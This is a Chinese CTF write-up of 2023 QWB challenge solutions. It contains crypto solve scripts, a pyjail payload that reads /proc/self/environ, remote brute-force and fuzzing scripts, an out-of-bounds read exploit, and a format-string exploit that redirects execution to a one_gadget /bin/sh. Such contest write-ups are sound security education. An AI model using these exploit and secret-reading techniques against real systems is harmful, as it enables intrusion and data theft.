HASHTEAM2023强网杯wp


2023强网杯

强网杯疯狂坐牢,pwn做不了一点只能在强网先锋划划水….只能说,来年再战!

Crypto

Not only rsa

开就完了,直接上代码

from Crypto.Util.number import *
from tqdm import tqdm
n = 6249734963373034215610144758924910630356277447014258270888329547267471837899275103421406467763122499270790512099702898939814547982931674247240623063334781529511973585977522269522704997379194673181703247780179146749499072297334876619475914747479522310651303344623434565831770309615574478274456549054332451773452773119453059618433160299319070430295124113199473337940505806777950838270849
e = 641747
c = 730024611795626517480532940587152891926416120514706825368440230330259913837764632826884065065554839415540061752397144140563698277864414584568812699048873820551131185796851863064509294123861487954267708318027370912496252338232193619491860340395824180108335802813022066531232025997349683725357024257420090981323217296019482516072036780365510855555146547481407283231721904830868033930943
p=91027438112295439314606669837102361953591324472804851543344131406676387779969
F=Zmod(n)

root=F(c).nth_root(e,all=True)
#print(root[0])
for i in tqdm(root):
    m=long_to_bytes(int(i))
    if b'flag' in m:
        print(m)

flag{c19c3ec0-d489-4bbb-83fc-bc0419a6822a}

Babyrsa

论文题,搜了半天https://www.sciencedirect.com/science/article/pii/S0304397523002116

接下来是复现代码,但最后没能求出解

from math import floor

N=6898173619848064713447564687612858995735894135343384489074201607621085283538310939996931861826971767108397996532717248188385645126212591434896047930808649179911798954640222107637439329674735608839417381358005576992626135001753481619659559186340117078191830600433093397242376731829372681835293083621809
e=18607371079843502780378872043757955319820913116247483798885064959406363250603378245586504841113742273225193107044375347430381173075888621199154655015790594262611354939631226770280837471203456810631351598504038204190312822325230950609345436371947238885587725399278901711345945547722129359115083215511568569473191308964154024336081584451627244805369215138746534093267741448684155642482008850649100654786552416480077517243070018360909360575406706389289250072987726362674233556989150088794863182955760986933773623415912617726008667185604638388708370787554333594517677850758769655741063461283985588988450577
# N=611402847577596838649117628567007514815745193613363898749361
# e=256620536587836325389289742308993660982466972819568896656661249105081887104266414292000389611061562475252796784804753727

def small_roots(f, bounds, m, d=None):
    monomials=[]
    pols=[]
    
    if not d:
        d = f.degree()

    R = f.base_ring()
    N = R.cardinality()

    f /= f.coefficients().pop(0)
    f = f.change_ring(ZZ)

    G = Sequence([], f.parent())
    for s in range(m + 1):
        for i in range(s,m+1):
            for j in range(2*s,2*s+2):
                base = x ^ (i - s)* y ^(j-2*s) * f ^ s * e ^ (m - s)
                G.append(base)
                
    for s in range(m + 1):
        for i in range(s,s+1):
            for j in range(2*s+2,2*s+t+1):
                base = x ^ (i - s)* y ^(j-2*s) * f ^ s * e ^ (m - s)
                G.append(base)
                
    for poly in G:          
        for v in poly.monomials():
            if v not in monomials:
                monomials.append(v)
    
    print(len(G))
    B, monomials = G.coefficient_matrix()
    monomials = vector(monomials)

    factors = [monomial(*bounds) for monomial in monomials]
    for i, factor in enumerate(factors):
        B.rescale_col(i, factor)

    print(B.nrows(),B.ncols())
    
    B = B.dense_matrix().LLL()

    B = B.change_ring(QQ)
    for i, factor in enumerate(factors):
        B.rescale_col(i, 1 / factor)

    
    H = Sequence([], f.parent().change_ring(QQ))
    for h in filter(None, B * monomials):
        H.append(h)
        I = H.ideal()
        if I.dimension() == -1:
            H.pop()
        elif I.dimension() == 0:
            roots = []
            for root in I.variety(ring=ZZ):
                root = tuple(R(root[var]) for var in f.variables())
                roots.append(root)
            return roots

    return []

alpha=1.997
beta=0.1
delta=0.678

r=100
m=4
t=4
FF=Zmod(2^r)
u=FF(N).nth_root(2,all=True)
print("u=",u)
#u0=63161
u0=603393209736955919317955738297
v0=2*u0+(N-u0^2)*inverse_mod(u0,2^(2*r))%2^(2*r)
print("v0=",v0)
#v0=200472128882
#v0=1567679278734573458233752031864430279097731087941138563289698
a1=v0*inverse_mod(2^(2*r-1),e)%e
print(a1)
a2=(v0^2-(N+1)^2)*inverse_mod(2^(4*r),e)%e
print(a2)
a3=(-1)*inverse_mod(2^(4*r),e)%e
print(a3)
X=floor(2*N^(alpha+delta-2))
Y=floor(3*N^(0.5-2*beta))
print('X',X)
print("Y",Y)

F.<x,y>=PolynomialRing(ZZ)
f=x*y^2+a1*x*y+a2*x+a3
res=small_roots(f,(X,Y),m)
print(res)

Misc

Happy Chess|SOLVED|1r0ny

非常凑巧,前几周看到了b站上的一个翻转棋的视频

那么思路如下:

首先对于初始棋盘来说,只要把白棋或者黑棋的位置都点一遍就可以变成相同颜色

但是规定要240步之内赢10局,所以每局就有步数限制,要在大约24步之内赢一局

所以要进行步骤的优化,优化思路如下:

对于9*9的棋盘如果把一整行或者一整列全部翻转,就会把整个棋盘直接翻转

所以对于每一个可行解,可以通过观察来进行步骤的优化

把每一次的步骤优化到24步以内之后通关即可:

img

本题运用b站视频里的优化原理,手动玩了10次,每次步数均在24步以内,成功拿到flag

flag{1449c7f2379d58899db438adc243867d}

由于时间充裕,所以我是用手优化的,但是其实可以使用脚本爆破,一共有9+9=18条可以翻转的行和列,所以所有可行解的情况就有$$2^{18}$$种情况,只要使用代码全部爆破出来然后看哪个点最少就行。

Pyjail ! It’s myFILTER !!!

读环境变量获取flag

{print(open("/proc/self/environ").read())}

强网先锋

石头剪刀布?

该模型对于相同输入的输出具有确定性,于是可以先指定前五个,再逐轮爆破

####### 180
from random import choice
import random
from pwn import *

def main():
    # 设置目标地址和端口
    ip = '8.147.133.95'#'8.147.135.248'
    port = 19260#39167
    context(log_level = 'debug',os = 'linux')
    # 创建一个连接到目标的socket
    #choice = [0, 0, 0, 0, 0, 1, 1, 2, 2, 0, 1, 2, 0, 2, 0, 2, 1, 0, 2, 1, 1, 0, 0, 1, 1, 1,2]
    choice=[0, 0, 0, 0, 0, 1, 1, 2, 2, 0, 1, 2, 0, 2, 0, 2, 1, 0, 2, 1, 1, 0, 0, 1, 1, 1, 2, 2, 2, 0, 0, 1, 2, 0, 0, 2, 2, 1, 1, 0, 1, 2, 0, 1, 0, 1, 0, 2, 1, 2, 2, 0, 2, 1, 0, 0, 2, 2, 1, 1, 0, 1, 0, 1, 2, 0, 2, 0, 2, 1, 0, 2, 1, 0, 0, 1, 1, 1, 2, 2, 1, 0, 1, 2, 2, 0, 1, 2, 0, 2, 0, 1, 1, 0]
    sock = remote(ip, port)
    response = sock.recvuntil('++++++++++++++++++++++++++++++++++++++++++++++++++'.encode())
    with open('replay.txt', 'w') as f:
        choice.append(random.randint(0,2))
        print(choice)
        for i in range(len(choice)):
            sock.sendlineafter('请出拳(0 - 石头,1 - 剪刀,2 - 布):'.encode(),str(choice[i]).encode())
            response = sock.recv(0x110).decode()
            f.write(response + '\n')
            if(i < 5):
                continue
            if 'Me10n赢了' in response:
                print(i,choice[i])
                print(choice)
                print((choice[i]+1)%3)
                break
            elif '平局' in response:
                print(i,choice[i])
                print(choice)
                print((choice[i]+2)%3)
                break
        f.interactive()
    # 关闭连接
        sock.close()

if __name__ == '__main__':
    main()

Speedup

先看看前20个

from math import floor
from tqdm import tqdm
n=0
l=[]
for i in range(1,21):
    n=0
    result = factorial(2^i)
    res=str(result)
    for j in res:
        n+=int(j)
    print(n)
    l.append(n)
print(l)

输到这里https://oeis.org/数数第27个,做个md5得到结果

img

或者利用勒让德定理,分解(2^27)!

n=2^27
faclist=[]
for p in tqdm(range(2,n)):
    if is_prime(p):
        k=1
        res=0
        while True:
            m=pow(p,k)
            if n>=m:
                res+=floor(n/m)
            else:
                break
            k+=1
        faclist.append((p,res))
    else:
        continue
        
# faclist=str(faclist)
# with open('test.txt', 'w') as f:     
#     f.write(faclist)

res=1
for i in tqdm(faclist):
    res*=pow(i[0],i[1])
    
n=0
for i in str(res):
    n+=int(i)
print(n)

然后再计算

easyfuzz

开始先发现9个字符+\n能够吧前两位置为11,尝试遍历所有字符可能

调整输入的字符串,从最后一位开始诸位爆破(代码中逐个改repeat)

from Excalibur import *

import itertools
import string

def generate_strings():
    # 定义要包含的字符集合
    characters = string.ascii_letters + string.digits + string.punctuation

    # 生成所有长度为9的可能字符串
    all_combinations = itertools.product(characters, repeat=3)

    # 逐个生成字符串并返回
    for combination in all_combinations:
        yield ''.join(combination)

# 使用生成器函数逐个获取字符串
string_generator = generate_strings()

# 打印前几个字符串

#contextset()
remo('101.200.122.251',12199,1)
#remo('101.200.122.251',12188,1)

for _ in range(1000):
    str = (next(string_generator)+'wbGood')
    sl(str)
    ru(b'code')
    m = ru(b'\n')
    if not b'110000000' in m:
        print(str,m)

#sl(b'1'*9)
#sl(b'\xff\xff\xff\xff\xff\xff\xff\xff\xff')
#sl(b'\xff\xff\xff\xff\xff\xff\xff\xff\xff')
ia()

qwb{YouKnowHowToFuzz!}

Trie

手动硬搓,也可以写脚本更快

首先理清程序逻辑,在trie树中储存ip,查找时通过控制v3的值,越界读取end数组,从secret里读出flag

img

调试发现,对于树中每插入节点的时候,tot+1,于是首先让tot为0x40,再控制ip(在二进制下每次减少一个1)使得tot每次+4,即可4字节4字节地读出flag。(需要注意的是会对tot进行一个*4的操作)

from Excalibur import *

#proc('./trie')
remo('47.104.150.173',1337,1)
contextset()

'''
for i in range(100):
    ip1 = '192.168.1.'+(str(i))
    sla(b'Quit.',b'1')
    sla(b'IP:',ip1)
    ip2 = '192.168.1.'+str(i+1)
    sla(b'hop:',ip2)

sla(b'Quit.',b'2')
'''
def setip(ip1,ip2):
    sla(b'Quit.',b'1')
    sla(b'IP:',ip1)
    sla(b'hop:',ip2)

def show(ip):
    sla(b'Quit.',b'3')
    sla(b'Quit.',b'2')
    sla(b'IP:',ip)
    ru(b'is')
    flag = ru(b'\n')
    print(flag)
    pause()
debug('b *$rebase(0x4060)\nb *$rebase(0x1619)\n')
setip(b'0.0.0.0',b'0.0.0.0')#+0x20
setip(b'255.255.255.255',b'0.0.0.0')#+0x20

#setip(b'127.255.255.255',b'0.0.0.0')#+0x4
#setip(b'63.255.255.255',b'0.0.0.0')#+0x4
#setip(b'31.255.255.255',b'0.0.0.0')#+0x4
#setip(b'15.255.255.255',b'0.0.0.0')#+0x4
#setip(b'7.255.255.255',b'0.0.0.0')#+0x4
#setip(b'3.255.255.255',b'0.0.0.0')#+0x4
#setip(b'1.255.255.255',b'0.0.0.0')#+0x4
#setip(b'0.255.255.255',b'0.0.0.0')#+0x4
#setip(b'0.127.255.255',b'0.0.0.0')#+0x4
#setip(b'0.63.255.255',b'0.0.0.0')#+0x4
setip(b'0.31.255.255',b'0.0.0.0')#+0x4

#setip(b'0.255.255.255',b'0.0.0.0')#+0x4
#show(b'127.255.255.255')
#show(b'63.255.255.255')
#show(b'31.255.255.255')
#show(b'15.255.255.255')
#show(b'7.255.255.255')
#show(b'3.255.255.255')
#show(b'1.255.255.255')
#show(b'0.255.255.255')
#show(b'0.127.255.255')
#show(b'0.63.255.255')
show(b'0.31.255.255')

ia()
numbers = "0.0.0.125.115.121.117.103.95.117.48.121.95.115.64.95.103.110.48.114.116.115.95.53.97.95.51.109.48.99.51.66.95.48.116.95.119.48.72.123.103.97.108.102"
reversed_numbers = numbers.split(".")[::-1]
ascii_chars = [chr(int(num)) for num in reversed_numbers]

result = "".join(ascii_chars)
print(result)

flag{H0w_t0_B3c0m3_a5_str0ng_@s_y0u_guys}

ez_fmt

修改printf的返回地址劫持程序流,同时泄漏libc地址,第二次printf改返回地址为one_shot,这里不能以下写ln不然会特别慢。

from evilblade import *

context(os='linux', arch='amd64')
context(os='linux', arch='amd64', log_level='debug')

setup('./pwn')
libset('./libc-2.31.so')
#libset('./libc.so.6')
evgdb()
rsetup('47.104.24.40', 1337)

stack = getx(-15,-1)
stack1 = stack - 8
dx(stack1)

#修改printf的返回地址

sd(b'%4198556c'+b'%19$paaa'+b'aaa%9$n'+p64(stack1))

libc = getx(-65,-51)
base = getbase(libc,'__libc_start_main',243)
os = base + 0xe3b01

os1 = os %0x10000
os2 = os %0x1000000
os2 = os2 >> 16
dx(stack)
dx(os)

pay1 = f'%{os2-4}c'.encode().ljust(8,b'a')
pay2 = f'%{os1-os2-3}c'.encode().ljust(8,b'a')
print(pay1)
pay = pay1 + b'a%11$hhn'+ pay2 +b'aa%10$hn' +p64(stack-232)+p64(stack-230)
print(len(pay))
pause()
sl(pay)
ia()
'''
0xe3afe execve("/bin/sh", r15, r12)
constraints:
  [r15] == NULL || r15 == NULL
  [r12] == NULL || r12 == NULL

0xe3b01 execve("/bin/sh", r15, rdx)
constraints:
  [r15] == NULL || r15 == NULL
  [rdx] == NULL || rdx == NULL

0xe3b04 execve("/bin/sh", rsi, rdx)
constraints:
  [rsi] == NULL || rsi == NULL
  [rdx] == NULL || rdx == NULL
'''

flag{such_@n_ea5y_fmt_9ame_f0r_y0u}


文章作者: lmarch2
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 lmarch2 !
评论
  目录